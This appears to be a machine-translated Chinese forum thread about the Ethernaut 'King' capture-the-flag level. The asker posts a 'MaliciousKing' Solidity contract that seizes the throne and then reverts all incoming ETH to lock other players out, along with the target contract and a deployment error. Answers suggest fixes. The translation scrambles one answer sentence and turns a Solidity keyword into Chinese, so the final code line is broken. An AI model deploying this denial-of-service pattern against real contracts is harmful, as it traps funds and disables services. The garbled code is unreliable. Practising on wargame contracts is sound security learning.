Solidity
乙太王挑戰賽
我正在嘗試通過被稱為國王契約的第 9 級 Ethernaut 挑戰。
我設計的破解 King 合約的合約如下:
pragma solidity 0.8.0; contract MaliciousKing { constructor(address _to) payable { address(_to).call{value: msg.value}(); } receive() external payable { revert("Not accepting funds"); } }
它在部署時接受使用者的任意 ETH 數量,然後將提供的數量轉移到 King 合約,通過提供比上一個 King 更多的資金來實現 King 位置。
但是,在輸入地址作為要部署的合約的參數時,我在我的 Remix IDE 中遇到了一個錯誤:
有誰知道我怎樣才能使這個部署工作?最後,我將提供我試圖與之互動的 King 合約程式碼,但我收到了上述錯誤。
pragma solidity ^0.6.0; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address payable) { return king; } }
提前非常感謝!
首先,您不需要契約,因為不寫它會做同樣的事情
receive()
。MaliciousKing
其次,
address _to
payable
在建構子中製作,例如,
constructor(address payable _to) payable
那應該可以解決您的問題。
您在最後一個括號中缺少“”
這會起作用
地址(_to).call{value: msg.value}("");